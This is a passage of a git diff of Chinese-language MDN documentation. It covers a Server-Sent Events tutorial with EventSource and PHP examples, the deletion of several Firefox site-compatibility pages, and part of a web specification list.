在Web应用程序中使用服务器发送事件很简单.在服务器端,只需要按照一定的格式返回事件流,在客户端中,只需要为一些事件类型绑定监听函数,和处理其他普通的事件没多大区别.

- -

从服务器接受事件

- -

服务器发送事件API也就是EventSource接口,在你创建一个新的EventSource对象的同时,你可以指定一个接受事件的URI.例如:

- -
const evtSource = new EventSource("ssedemo.php");
-
- -
注:从Firefox 11开始,EventSource开始支持CORS.虽然该特性目前并不是标准,但很快会成为标准.
- -

如果发送事件的脚本不同源,应该创建一个新的包含URL和options参数的EventSource对象。例如,假设客户端脚本在example.com上:

- -
const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );
- -

一旦你成功初始化了一个事件源,就可以对 {{event("message")}} 事件添加一个处理函数开始监听从服务器发出的消息了:

- -
evtSource.onmessage = function(event) {
-  const newElement = document.createElement("li");
-  const eventList = document.getElementById("list");
-
-  newElement.innerHTML = "message: " + event.data;
-  eventList.appendChild(newElement);
-}
- -

上面的代码监听了那些从服务器发送来的所有没有指定事件类型的消息(没有event字段的消息),然后把消息内容显示在页面文档中.

- -

你也可以使用addEventListener()方法来监听其他类型的事件:

- -
evtSource.addEventListener("ping", function(event) {
-  const newElement = document.createElement("li");
-  const time = JSON.parse(event.data).time;
-  newElement.innerHTML = "ping at " + time;
-  eventList.appendChild(newElement);
-});
- -

这段代码也类似,只是只有在服务器发送的消息中包含一个值为"ping"的event字段的时候才会触发对应的处理函数,也就是将data字段的字段值解析为JSON数据,然后在页面上显示出所需要的内容.

- -
-

不通过HTTP / 2使用时,SSE(server-sent events)会受到最大连接数的限制,这在打开各种选项卡时特别麻烦,因为该限制是针对每个浏览器的,并且被设置为一个非常低的数字(6)。该问题在 Chrome 和 Firefox中被标记为“无法解决”。此限制是针对每个浏览器+域的,因此这意味着您可以跨所有选项卡打开6个SSE连接到www.example1.com,并打开6个SSE连接到www.example2.com。 (来自 Stackoverflow)。使用HTTP / 2时,HTTP同一时间内的最大连接数由服务器和客户端之间协商(默认为100)。

-
- -

服务器端如何发送事件流

- -

服务器端发送的响应内容应该使用值为text/event-stream的MIME类型.每个通知以文本块形式发送,并以一对换行符结尾。有关事件流的格式的详细信息,请参见{{ anch("Event stream format") }}。

- -

演示的{{Glossary("PHP")}}代码如下:

- -
date_default_timezone_set("America/New_York");
-header("Cache-Control: no-cache");
-header("Content-Type: text/event-stream");
-
-$counter = rand(1, 10);
-while (true) {
-  // Every second, send a "ping" event.
-
-  echo "event: ping\n";
-  $curDate = date(DATE_ISO8601);
-  echo 'data: {"time": "' . $curDate . '"}';
-  echo "\n\n";
-
-  // Send a simple message at random intervals.
-
-  $counter--;
-
-  if (!$counter) {
-    echo 'data: This is a message at time ' . $curDate . "\n\n";
-    $counter = rand(1, 10);
-  }
-
-  ob_end_flush();
-  flush();
-  sleep(1);
-}
- -

上面的代码会让服务器每隔一秒生成一个事件流并返回,其中每条消息的事件类型为"ping",数据字段都使用了JSON格式,数组字段中包含了每个事件流生成时的 ISO 8601 时间戳.而且会随机返回一些无事件类型的消息.

- -
-

: 您可以在github上找到以上代码的完整示例—参见Simple SSE demo using PHP.

-
- -

错误处理

- -

当发生错误(例如请求超时或与HTTP访问控制(CORS)有关的问题), 会生成一个错误事件. 您可以通过在EventSource对象上使用onerror回调来对此采取措施:

- -
evtSource.onerror = function(err) {
-  console.error("EventSource failed:", err);
-};
- -

关闭事件流

- -

默认情况下,如果客户端和服务器之间的连接关闭,则连接将重新启动。可以使用.close()方法终止连接。

- -
evtSource.close();
- -

事件流格式

- -

事件流仅仅是一个简单的文本数据流,文本应该使用 UTF-8 格式的编码.每条消息后面都由一个空行作为分隔符.以冒号开头的行为注释行,会被忽略.

- -
注:注释行可以用来防止连接超时,服务器可以定期发送一条消息注释行,以保持连接不断.
- -

每条消息是由多个字段组成的,每个字段由字段名,一个冒号,以及字段值组成.

- -

字段

- -

规范中规定了下面这些字段:

- -
-
event
-
事件类型.如果指定了该字段,则在客户端接收到该条消息时,会在当前的EventSource对象上触发一个事件,事件类型就是该字段的字段值,你可以使用addEventListener()方法在当前EventSource对象上监听任意类型的命名事件,如果该条消息没有event字段,则会触发onmessage属性上的事件处理函数.
-
data
-
消息的数据字段.如果该条消息包含多个data字段,则客户端会用换行符把它们连接成一个字符串来作为字段值.
-
id
-
事件ID,会成为当前EventSource对象的内部属性"最后一个事件ID"的属性值.
-
retry
-
一个整数值,指定了重新连接的时间(单位为毫秒),如果该字段值不是整数,则会被忽略.
-
- -

除了上面规定的字段名,其他所有的字段名都会被忽略.

- -
注: 如果一行文本中不包含冒号,则整行文本会被解析成为字段名,其字段值为空.
- -

例子

- -

未命名事件

- -

下面的例子中发送了三条消息,第一条仅仅是个注释,因为它以冒号开头.第二条消息只包含了一个data字段,值为"some text".第三条消息包含的两个data字段会被解析成为一个字段,值为"another message\nwith two lines".其中每两条消息之间是以一个空行为分割符的.

- -
: this is a test stream
-
-data: some text
-
-data: another message
-data: with two lines
-
- -

命名事件

- -

下面的事件流中包含了一些命名事件.每个事件的类型都是由event字段指定的,另外每个data字段的值可以使用JSON格式,当然也可以不是.

- -
event: userconnect
-data: {"username": "bobby", "time": "02:33:48"}
-
-event: usermessage
-data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
-
-event: userdisconnect
-data: {"username": "bobby", "time": "02:34:23"}
-
-event: usermessage
-data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
-
- -

混合两种事件

- -

你可以在一个事件流中同时使用命名事件和未命名事件.

- -
event: userconnect
-data: {"username": "bobby", "time": "02:33:48"}
-
-data: Here's a system message of some kind that will get used
-data: to accomplish some task.
-
-event: usermessage
-data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
-
- -

浏览器兼容性

- - - -

{{Compat("api.EventSource")}}

diff --git a/files/zh-cn/site_compatibility_for_firefox_19/index.html b/files/zh-cn/site_compatibility_for_firefox_19/index.html deleted file mode 100644 index c026e80052..0000000000 --- a/files/zh-cn/site_compatibility_for_firefox_19/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Site Compatibility for Firefox 19 -slug: Site_Compatibility_for_Firefox_19 -translation_of: Mozilla/Firefox/Releases/19/Site_compatibility ---- -
{{FirefoxSidebar}}

{{ draft() }}

-

Firefox 19 Beta was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

-

This article only explains the changes that may affect backward compatibility for Websites. For the other new features and changes, please read the following documents:

- -

This list may be updated until the release of the final version, so please check back later.

-
-

CSS

-
-

flexbox脱前缀

- -

The CSS3 flexible boxes (flexbox) implementation has been prefixed. From now on, use the related properties and keywords without moz prefix. Note that the flexbox is still disabled by default in Firefox 19. If you'd like to test the feature, open about:config and change the value of layout.css.flexbox.enabled to true.

-
-
-

-moz-initial属性脱前缀

- -

The -moz-initial keyword has been unprefixed. While -moz-initial will remain in the meantime as an alias of initial, it will be removed at some time, so use the unprefixed keyword instead.

-
-
-

:-moz-placeholder伪类已修改成伪元素::-moz-placeholder

- -

The :-moz-placeholder pseudo-class that matches form elements with the placeholder attribute has been removed, and the ::-moz-placeholder pseudo-element has been added instead. The implementation of WebKit has been a pseudo-element, and this change is a part of the standardization effort.

-
-
-

CSS动画中带有!important的关键帧规则声明将被忽略

- -

Following the latest CSS3 animations spec, key frame rule declarations with the !important keyword are now be ignored and parse errors will be returned.

-
-
-

在about:config中添加了一些控制带前缀的CSS属性的有效性的选项

- -

While this is not a change affecting site compatibility, it's worth mentioning because this has been developed as part of efforts to keep compatibility. Preferences to disable some major prefixed properties have been added: layout.css.prefixes.border-image, layout.css.prefixes.transforms, layout.css.prefixes.transitions and layout.css.prefixes.animations. Web developers can disable those preferences (change the values to false) to test whether style rules are applied as intended even after those prefixed implementations are removed.

-
-
-
-

DOM

-
-

Element.getElementsBy* 现在将返回HTMLCollection对象

- -

getElementsByTagName, getElementsByTagNameNS以及getElementsByClassName方法返回的元素列表对象的类型从NodeList(遵循DOM3核心规范)变为HTMLCollection(遵循DOM4规范草案).

-
-
-

hasFeature/isSupported方法现在总会返回true

- -

The document.implementation.hasFeature and Element.isSupported methods have been changed to always return true. The spec has been changed because those APIs were considered useless. However the SVG features are exception; those methods continue to return the support statuses.

-
-
-

createElement(null)不再抛出异常

- -

Previously the document.createElement method has thrown exception INVALID_CHARACTER_ERR if the argument was null. The method now returns the HTMLUnknownElement object because the argument should be treated as a string and considered to be the same code as document.createElement("null").

-
-
-

document.referrer遵循了最新规范

- -

When the URL of a nested inline frame (iframe) or a grandchild window is programmatically changed from the parent window, the value of the document.referrer property now points the URL of the parent window where the script is written instead of the child window that refers directly. This is due to a change of the spec and leads to the same behavior as Internet Explorer and Opera. WebKit to follow.

-
-
-

如果修改日期未知,则File.lastModifiedDate属性将返回当前日期

- -

Following the latest File API spec, the lastModifiedDate property of a File object now returns the current date if the file's last modified date is unknown. Previously it returns null in such case.

-
-
-

Encoding API 遵循了最新规范

- -

Following a change of the Encoding API spec, the implementation of TextEncoder and TextDecoder has been updated.

-
-
-

移除XForms支持

- -

The XML Events implementation has been removed. The development of the Mozilla XForms extension that has used the API has been practically discontinued. The XForms accessibility support has also been removed from Firefox 19.

-
-
-
-

JavaScript

-
-

Map.sizeSet.size从方法变成属性

- -

The size method, that returns the number of key/value pairs saved in a Map object and the number of values saved in a Set object, are changed to be read-only properties.

-
-
-
-

事件处理

-
-

一些事件句柄属性只存在于bodyframeset元素上

- -

Previously, the onbeforeunload attribute has been recognized even if it has been set on any elements, and the named handler is called when the event is fired. To comply with the spec, it's now ignored when it has been set on elements other than body and frameset. The other attributes treated the same include onafterprint, onbeforeprint, onhashchange, onoffline, ononline, onpagehide, onpageshow, onpopstate, onresize and onunload.

-
-
-
-

文件处理

-
-

不再支持Content-Disposition响应头中的name参数

- -

The name parameter included in the HTTP Content-Disposition header used for file downloading is now ignored. This parameter is non-standard and supported only by Firefox and Google Chrome. From now, use the standard filename parameter instead.

-
-
-
-

插件

-
-

移除了对Carbon NPAPI的支持

- -

The Carbon event model and the Quickdraw drawing model, deprecated since Firefox 4, are no longer available. Webmasters should make sure your content works well if it requires any special plug-in. If it doesn't work on Firefox 19, please contact the plug-in vendor.

-
-
diff --git a/files/zh-cn/site_compatibility_for_firefox_21/index.html b/files/zh-cn/site_compatibility_for_firefox_21/index.html deleted file mode 100644 index cf566f4262..0000000000 --- a/files/zh-cn/site_compatibility_for_firefox_21/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Firefox 21网站兼容性 -slug: Site_Compatibility_for_Firefox_21 -translation_of: Mozilla/Firefox/Releases/21/Site_compatibility ---- -
{{FirefoxSidebar}}
-

CSS

-
-

-moz-user-select:none的表现变得和-moz-user-select:-moz-none相同,也就是和其他浏览器实现了统一

- -

Previously, when you set the none keyword to the -moz-user-select property, the text of on the element and sub-elements became unselectable, even if one of those sub-elements had -moz-user-select:text. Starting with Firefox 21, none behaves like -moz-none and other browsers, so selection can be re-enabled on sub-elements using -moz-user-select:text.

-
-
-
-

DOM

-
-

删除了对tablecolslayout属性的支持

- -

Firefox no longer accepts the cols and layout properties on the table elements. No other browsers support these obscure properties.

-
-
-

scrollWidthscrollHeight不再受overflow:visible的影响

- -

The scrollWidth and scrollHeight properties might have wrong values when CSS overflow:visible was set on the element. This behavior has been fixed to match the values as if overflow:hidden is set.

-
-
-

window不再接受自定义的索引属性

- -

Setting indexed expandos (custom properties which have number as the property name) on the window object is no longer allowed. Your code like window[2] = "myString" will be ignored from now on.

-
-
-

window对象上的索引属性变的可枚举

- -

Previously, iframes in the DOM were not enumerable on the window object. This behavior has been changed to comply with the spec, which means they are now returned with Object.keys(window). This is important to note for things like global leak detection, since appending iframes to the document will modify the enumerable keys on the window object.

-
-
-

XMLHttpRequest.setRequestHeader方法的实现遵循了当前规范

- -

Previously, if the same headers were repeatedly set with XMLHttpRequest.setRequestHeader, the last-specified value was used. This behavior has been changed to comply with the spec, so those values will be properly combined.

-
-
-

formMethodformEnctype的默认值成为一个空字符串

- -

The HTML5 spec of the formMethod and formEnctype properties has been updated to have the empty string as default value. Firefox followed the change.

-
-
-

如果传递多条规则,CSSStyleSheet.insertRule方法会报错

- -

If multiple rules was passed to the CSSStyleSheet.insertRule method, only the first rule was inserted into the stylesheet. Instead, Firefox now throws an exception SYNTAX_ERR like other browsers.

-
-
-

NodeIteratorTreeWalker上删除掉expandEntityReferences属性

- -

The expandEntityReferences property, which returned a flag indicating whether or not the children of entity reference nodes were visible to the object, has been removed from the NodeIterator and TreeWalker objects, as it never made much sense.

-
-
-

CSSKeyframesRule.insertRule方法被改名为appendRule

- -

One of the methods of the CSSKeyframesRule interface, insertRule has been renamed to appendRule to match a spec change.

-
-
-

HTMLInputElement.inputmode现在默认被禁用

- -

HTMLInputElement's inputmode API, which has been implemented since Firefox 17, is now disabled by default because the spec is still unstable. You have to enable the dom.forms.inputmode pref or use the Aurora channel to try out this feature. Note that this API will be renamed inputMode (capitalized M) in Firefox 22.

-
-
-
-

JavaScript

-
-

E4X已经被完全删除

- -

The support of ECMAScript for XML (E4X), deprecated and disabled since Firefox 17, has finally been dropped. You can no longer use the feature regardless of the hidden preference.

-
-
-

parseInt把以0开头的字符串当成十进制数字解析,而不是以前的八进制

- -

The parseInt method implementation has been updated to conform to the ECMAScript 5 spec, and it now parses leading-zero strings as decimal, not octal. Therefore, parseInt("042") will return 42 instead of 34. If you'd like to parse strings as octal, specify the radix like parseInt(str, 8).

-
-
-

修正String.localeCompare在无参情况下的表现,以符合ES5规范

- -

The String.localeCompare method implementation has been updated to conform to the latest ECMAScript 5 spec. If no argument is passed, the method takes the "undefined" string as the argument.

-
-
-
-

SVG

-
-

删除掉那些未实现的SVG特性

- -

Unimplemented SVG features have been removed instead of just returning the NOT_IMPLEMENTED errors. These features include the viewport and currentView properties of SVGSVGElement.

-
-
-
-

Audio/Video

-
-

mozAudioContext属性脱前缀

- -

The mozAudioContext implementation has been unprefixed. It's still disabled by default, though. To try out this feature, change the value of the media.webaudio.enabled pref to true.

-
-
-
-

安全

-
-

CSP实现更新到符合最新规范

- -

Content Security Policy (CSP) 1.0 spec has been implemented. The existing parser will be used when a policy is served via the X-Content-Security-Policy header, and the new parser that follows the 1.0 spec will be used when a policy is served via the officially spec'd Content-Security-Policy header. Consult the latest spec if you'd like to implement CSP on your site. The documents on MDN will be updated sometime soon.

-
-
diff --git a/files/zh-cn/site_compatibility_for_firefox_23/index.html b/files/zh-cn/site_compatibility_for_firefox_23/index.html deleted file mode 100644 index 34f2ab9b60..0000000000 --- a/files/zh-cn/site_compatibility_for_firefox_23/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Site Compatibility for Firefox 23 -slug: Site_Compatibility_for_Firefox_23 -translation_of: Mozilla/Firefox/Releases/23/Site_compatibility ---- -
{{FirefoxSidebar}}

{{ draft() }}

-

Firefox 23 Aurora (pre-Beta) was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

-

This article only explains the changes that may affect backward compatibility for Websites. For the other new features and changes, please read the following documents:

- -

This list may be updated until the release of the final version on , so please check back later.

-
-

CSS

-
-

能产生文字闪烁效果的text-decoration:blink属性值被删除

- -

Firefox previously supported the Netscape-derived blink effect with the blink keyword for the CSS text-decoration property as well as the HTML blink element and the DOM String.blink method. Starting with Firefox 23, the blink effect no longer works. While text-decoration:blink continues to be supported by the CSS parser and the DOM APIs, the HTML parser has dropped the blink element support, thus the element will be treated as an unknown element. Internet Explorer, Chrome and Safari haven't supported the effect. Opera may also drop the support once it switches to the Blink rendering engine.

-
-
-
-

DOM

-
-

添加到侧边栏的功能被删除

- -

window.sidebar.addPanel and window.sidebar.addPersistentPanel are no longer supported. These methods were a part of a Netscape-derived API which allowed Web publishers to integrate their contents as sidebar panels of the browser. They were not standardized, rarely used, and not very well supported. No other browsers have implemented these.

-

There is also a plan to remove window.sidebar itself in the future.

-
-
-

requestAnimationFrame脱前缀

- -

requestAnimationFrame, the unprefixed version of mozRequestAnimationFrame, has been added. This unprefixed method passes a DOMHighResTimeStamp to callbacks. It has microsecond precision and can be compared to performance.now().

-

On the other hand, the prefixed method, which will be removed in the future, continues to pass an epoch-based DOMTimeStamp to callbacks. The passed-in value has millisecond precision and can be compared to mozAnimationStartTime.

-
-
-

跨域文档的contentDocument属性现在返回null

- -

The contentDocument property on frames now returns null if the caller doesn't subsume the document. This change affects the contentDocument property on the frame, iframe and object elements as well as the getSVGDocument method on the embed, iframe and object elements.

-
-
-

window.defaultStatus被删除

- -

The window.defaultStatus property is no longer available. Setting this property has had no effect in Firefox because the default preference has disallowed changes to the status text by Web pages. Recently, the Firefox UI dropped support for enabling that pref. Also, this property is not specified in the HTML5 spec. window.status is still available.

-
-
-

不再允许创建AnimationEvent和TransitionEvent

- -

The support for obsolete document.createEvent("AnimationEvent"), document.createEvent("TransitionEvent"), AnimationEvent.initAnimationEvent, and TransitionEvent.initTransitionEvent has been removed.

-
-
-
-

视频和音频

-
-

Audio Data API被废弃

- -

The non-standard, experimental Audio Data API is now considered deprecated. The standard Web Audio API can be used instead.

-
-
-

HTMLMediaElement.initialTime被删除

- -

The HTMLMediaElement.initialTime property is no longer available, due to the removal from the spec.

-
-
-
-

安全和隐私

-
-

在SSL页面(HTTPS)上的非SSL活动内容会被默认阻止

- -

Firefox 18 introduced preferences to block loading content from non-SSL (http) sites on SSL (https) pages. One of those preferences, security.mixed_content.block_active_content is now enabled by default in order to enhance user security. That means insecure scripts, stylesheets, plug-in contents, inline frames, Web fonts and WebSockets are blocked on secure pages, and a notification is displayed instead. It will not block "display content" like images, videos or audio. See Tanvi Vyas' blog post for details.

-

Mozilla is tracking mixed content issues found on major sites as well as its own properties.

-
-
diff --git a/files/zh-cn/site_compatibility_for_firefox_24/index.html b/files/zh-cn/site_compatibility_for_firefox_24/index.html deleted file mode 100644 index 296e580123..0000000000 --- a/files/zh-cn/site_compatibility_for_firefox_24/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Firefox 24网站兼容性 -slug: Site_Compatibility_for_Firefox_24 -translation_of: Mozilla/Firefox/Releases/24/Site_compatibility ---- -
{{FirefoxSidebar}}

{{ draft() }}

-

Firefox 24 Aurora (pre-Beta) will be released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

-

This article only explains the changes that may affect backward compatibility for Websites. For the other new features and changes, please read the following documents:

- -

This list may be updated until the release of the final version on , so please check back later.

-
-

DOM

-
-

releaseEvents,captureEvents,routeEvent等方法被删除

- -

The releaseEvents, captureEvents, routeEvent, enableExternalCapture and disableExternalCapture methods on the window object have been removed. They were Netscape-derived APIs deprecated since Firefox 3 and the implementation has been no-op (doing nothing). Recently Google Chrome (the Blink rendering engine) also removed the support for those methods. The standard DOM Event methods, including addEventListener and removeEventListener, should be used instead.

-
-
diff --git a/files/zh-cn/specification_list/index.html b/files/zh-cn/specification_list/index.html deleted file mode 100644 index 992d8c3814..0000000000 --- a/files/zh-cn/specification_list/index.html +++ /dev/null @@ -1,405 +0,0 @@ ---- -title: 规范列表 -slug: Specification_List -translation_of: Web/Specification_list ---- -

开放式Web平台(The Open Web Platform)是由一些列的规范组成的,本页面列出了这些规范,以及规范中各个词条所在的MDN页面.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusAPI IntroductionTutorialReference
{{ SpecName("HTML WHATWG") }}{{ Spec2("HTML WHATWG") }}  -
    -
  • Constraint Validation
  • -
  • Microdata API
  • -
  • Browsing context (that is _blank, ...)
  • -
  • Session History
  • -
  • Offline Web Applications (appcache)
  • -
  • Drag and Drop
  • -
-
-

The HTML Elements.
- HTML element-related interfaces:
- {{domxref("HTMLElement")}} {{domxref("HTMLUnknownElement")}} {{domxref("HTMLHtmlElement")}} {{domxref("HTMLHeadElement")}} {{domxref("HTMLTitleElement")}} {{domxref("HTMLBaseElement")}} {{domxref("HTMLLinkElement")}} {{domxref("HTMLMetaElement")}} {{domxref("HTMLStyleElement")}} {{domxref("HTMLScriptElement")}} {{domxref("HTMLBodyElement")}} {{domxref("HTMLHeadingElement")}} {{domxref("HTMLParagraphElement")}} {{domxref("HTMLHRElement")}} {{domxref("HTMLPreElement")}} {{domxref("HTMLQuoteElement")}} {{domxref("HTMLOListElement")}} {{domxref("HTMLUListElement")}} {{domxref("HTMLLIElement")}} {{domxref("HTMLDListElement")}} {{domxref("HTMLDivElement")}} {{domxref("HTMLAnchorElement")}} {{domxref("HTMLDataElement")}} {{domxref("HTMLTimeElement")}} {{domxref("HTMLSpanElement")}} {{domxref("HTMLBRElement")}} {{domxref("HTMLModElement")}} {{domxref("HTMLImageElement")}} {{domxref("HTMLIFrameElement")}} {{domxref("HTMLEmbedElement")}} {{domxref("HTMLObjectElement")}} {{domxref("HTMLParamElement")}} {{domxref("HTMLVideoElement")}} {{domxref("HTMLAudioElement")}} {{domxref("HTMLMediaElement")}} {{domxref("HTMLSourceElement")}} {{domxref("HTMLTrackElement")}} {{domxref("HTMLCanvasElement")}} {{domxref("HTMLMapElement")}} {{domxref("HTMLAreaElement")}} {{domxref("HTMLTableElement")}} {{domxref("HTMLTableCaptionElement")}} {{domxref("HTMLTableColElement")}} {{domxref("HTMLTableSectionElement")}} {{domxref("HTMLTableRowElement")}} {{domxref("HTMLTableDataCellElement")}} {{domxref("HTMLTableHeaderCellElement")}} {{domxref("HTMLFormElement")}} {{domxref("HTMLFieldSetElement")}} {{domxref("HTMLLegendElement")}} {{domxref("HTMLInputElement")}} {{domxref("HTMLButtonElement")}} {{domxref("HTMLSelectElement")}} {{domxref("HTMLDataListElement")}} {{domxref("HTMLOptGroupElement")}} {{domxref("HTMLOptionElement")}} {{domxref("HTMLTextAreaElement")}} {{domxref("HTMLKeygenElement")}} {{domxref("HTMLOutputElement")}} {{domxref("HTMLProgressElement")}} {{domxref("HTMLMeterElement")}} {{domxref("HTMLDetailsElement")}} {{domxref("HTMLMenuElement")}} {{domxref("HTMLMenuItemElement")}} {{domxref("HTMLDialogElement")}} {{domxref("HTMLAppletElement")}} (obsolete) {{domxref("HTMLMarqueeElement")}} (obsolete) {{domxref("HTMLFrameSetElement")}} (obsolete) {{domxref("HTMLFrameElement")}} (obsolete) {{domxref("HTMLDirectoryElement")}} (obsolete) {{domxref("HTMLFontElement")}} (obsolete)
- Other DOM-related interfaces/events/... :
- {{domxref("HTMLAllCollection")}} {{domxref("HTMLFormControlsCollection")}} {{domxref("HTMLOptionsCollection")}} {{domxref("HTMLPropertiesCollection")}} {{domxref("RadioNodeList")}} {{domxref("DOMStringMap")}} {{domxref("DOMElementMap")}} {{domxref("ImageData")}} {{domxref("ImageBitmap")}} {{domxref("WindowEventHandlers")}}  {{domxref("Document.location")}} {{domxref("Document.domain")}} {{domxref("Document.referrer")}} {{domxref("Document.cookie")}} {{domxref("Document.lastModified")}} {{domxref("Document.readyState")}} Document getter? {{domxref("Document.title")}} {{domxref("Document.dir")}} {{domxref("Document.body")}} {{domxref("Document.head")}} {{domxref("Document.images")}} {{domxref("Document.embeds")}} {{domxref("Document.plugins")}} {{domxref("Document.forms")}}  {{domxref("Document.scripts")}} {{domxref("Document.getElementsByName()")}} {{domxref("Document.getItems()")}} {{domxref("Document.cssElementMap")}} {{domxref("Document.currentScript")}} {{domxref("Document.open()")}} (2x) {{domxref("Document.close()")}} {{domxref("Document.write()")}} {{domxref("Document.writeln()")}} {{domxref("Document.defaultView")}} {{domxref("Document.activeElement")}} {{domxref("Document.hasFocus()")}} {{domxref("Document.designMode")}} {{domxref("Document.execCommand()")}} {{domxref("Document.queryCommandEnabled()")}} {{domxref("Document.queryCommandIndeterm()")}} {{domxref("Document.queryCommandState()")}} {{domxref("Document.queryCommandValue()")}} {{domxref("Document.commands")}} {{domxref("Document.onreadystatechange")}} (+Document obsolete members) {{event("readystatechange")}} (event) {{domxref("GlobalEventHandlers")}} {{domxref("MediaError")}} {{domxref("AudioTrackList")}} {{domxref("VideoTrackList")}} {{domxref("AudioTrack")}} {{domxref("VideoTrack")}} {{domxref("MediaController")}} {{event("playing")}} (event) {{event("waiting")}} (event) {{event("ended")}} (event) {{event("emptied")}} (event) {{event("loadedmetadata")}} (event) {{event("loadeddata")}} (event) {{event("canplay")}} (event) {{event("canplaythrough")}} (event) {{event("durationchange")}} (event) {{event("timeupdate")}} (event) {{event("play")}} (event) {{event("pause")}} (event) {{event("ratechange")}} (event) {{event("valuechange")}} (event) {{domxref("TextTrackList")}} {{event("addtrack")}} (event) {{event("removetrack")}} (event) {{domxref("TextTrack")}} {{event("cuechange")}} (event) {{domxref("TextTrackCueList")}} {{domxref("TextTrackCue")}} {{event("enter")}} (event) {{event("exit")}} (event) {{domxref("TimeRanges")}} {{domxref("TrackEvent")}} {{domxref("CanvasProxy")}} {{domxref("CanvasRenderingContext2D")}} {{domxref("CanvasGradient")}} {{domxref("CanvasPattern")}} {{domxref("TextMetrics")}} {{domxref("DrawingStyle")}} {{domxref("CanvasDrawingStyles")}} {{domxref("Path")}} {{domxref("CanvasPathMethods")}} {{domxref("Screen.canvasResolution")}} {{domxref("RelatedEvent")}} {{cssxref("anchor-point")}} {{domxref("Window.window")}} {{domxref("Window.self")}} {{domxref("Window.document")}} {{domxref("Window.name")}} {{domxref("Window.location")}} {{domxref("Window.history")}} {{domxref("Window.locationbar")}} {{domxref("Window.menubar")}} {{domxref("Window.personalbar")}} {{domxref("Window.scrollbars")}} {{domxref("Window.statusbar")}} {{domxref("Window.toolbar")}} {{domxref("Window.status")}} {{domxref("Window.close()")}} {{domxref("Window.stop()")}} {{domxref("Window.focus()")}} {{domxref("Window.blur()")}} {{domxref("Window.frames")}} {{domxref("Window.length")}} {{domxref("Window.top")}} {{domxref("Window.opener")}} {{domxref("Window.parent")}} {{domxref("Window.frameElement")}} {{domxref("Window.open()")}} getter WindowProxy getter Object {{domxref("Window.navigator")}} {{domxref("Window.external")}} {{domxref("Window.applicationCache")}} {{domxref("Window.statusbar")}} {{domxref("Window.alert()")}} {{domxref("Window.confirm()")}} {{domxref("Window.prompt()")}} {{domxref("Window.print()")}} {{domxref("Window.showModalDialog()")}} {{domxref("Window.postMessage()")}} {{domxref("BarProp")}} {{domxref("Location")}} {{domxref("History")}} {{domxref("PopStateEvent")}} {{event("popstate")}} (event) {{domxref("PageTransitionEvent")}} {{event("pageshow")}} (event) {{event("pagehide")}} (event) {{domxref("HashChangeEvent")}} {{event("hashchange")}} (event) {{domxref("BeforeUnloadEvent")}} {{event("checking")}} (event, manifest) {{event("noupdate")}} (event, manifest) {{event("downloading")}} (event, manifest) {{event("progress")}} (event, manifest) {{event("cached")}} (event, manifest) {{event("updateready")}} (event, manifest) {{event("obsolete")}} (event, manifest) {{event("error")}} (event, manifest) {{domxref("WindowProxy")}} (special) {{domxref("ApplicationCache")}} {{domxref("NavigatorOnLine")}} {{domxref("WindowTimers")}} {{domxref("WindowBase64")}} {{domxref("WindowModal")}} {{domxref("Navigator")}} {{domxref("NavigatorID")}} {{domxref("NavigatorLanguage")}} {{domxref("NavigatorContentUtils")}} {{domxref("NavigatoreStorageUtils")}} {{domxref("External")}} {{domxref("ImageBitmapFactories")}} {{domxref("DataTransfer")}} {{domxref("DataTransferItemList")}} {{domxref("DataTransferItem")}} {{domxref("DragEvent")}} {{domxref("ErrorEvent")}} {{domxref("MessageEvent")}} (documented under WebSockets/WebSockets_reference ) {{domxref("MessageChannel")}} {{domxref("MessagePort")}} {{event("message")}} (event)
- Events on any HTML*Element, Document and Window objects:
- {{event("abort")}} {{event("cancel")}} {{event("canplay")}} {{event("canplaythrough")}} {{event("change")}} {{event("click")}} {{event("close")}} {{event("contextmenu")}} {{event("cuechange")}} {{event("dblclick")}} {{event("drag")}} {{event("dragend")}} {{event("dragenter")}} {{event("dragexit")}} {{event("dragleave")}} {{event("dragover")}} {{event("dragstart")}} {{event("drop")}} {{event("durationchange")}} {{event("emptied")}} {{event("ended")}} {{event("input")}} {{event("invalid")}} {{event("keydown")}} {{event("keypress")}} {{event("keyup")}} {{event("loadeddata")}} {{event("loadedmetadata")}} {{event("loadstart")}} {{event("mousedown")}} {{event("mouseenter")}} {{event("mouseleave")}} {{event("mousemove")}} {{event("mouseout")}} {{event("mouseover")}} {{event("mouseup")}} {{event("mousewheel")}} {{event("pause")}} {{event("play")}} {{event("playing")}} {{event("progress")}} {{event("ratechange")}} {{event("reset")}} {{event("seeked")}} {{event("seeking")}} {{event("select")}} {{event("show")}} {{event("sort")}} {{event("stalled")}} {{event("submit")}} {{event("submit")}} {{event("suspend")}} {{event("timeupdate")}} {{event("volumechange")}} {{event("waiting")}}
- Events on any HTML*Element (except HTMLBodyElement and HTMLFrameSetElement), Document and Window objects:
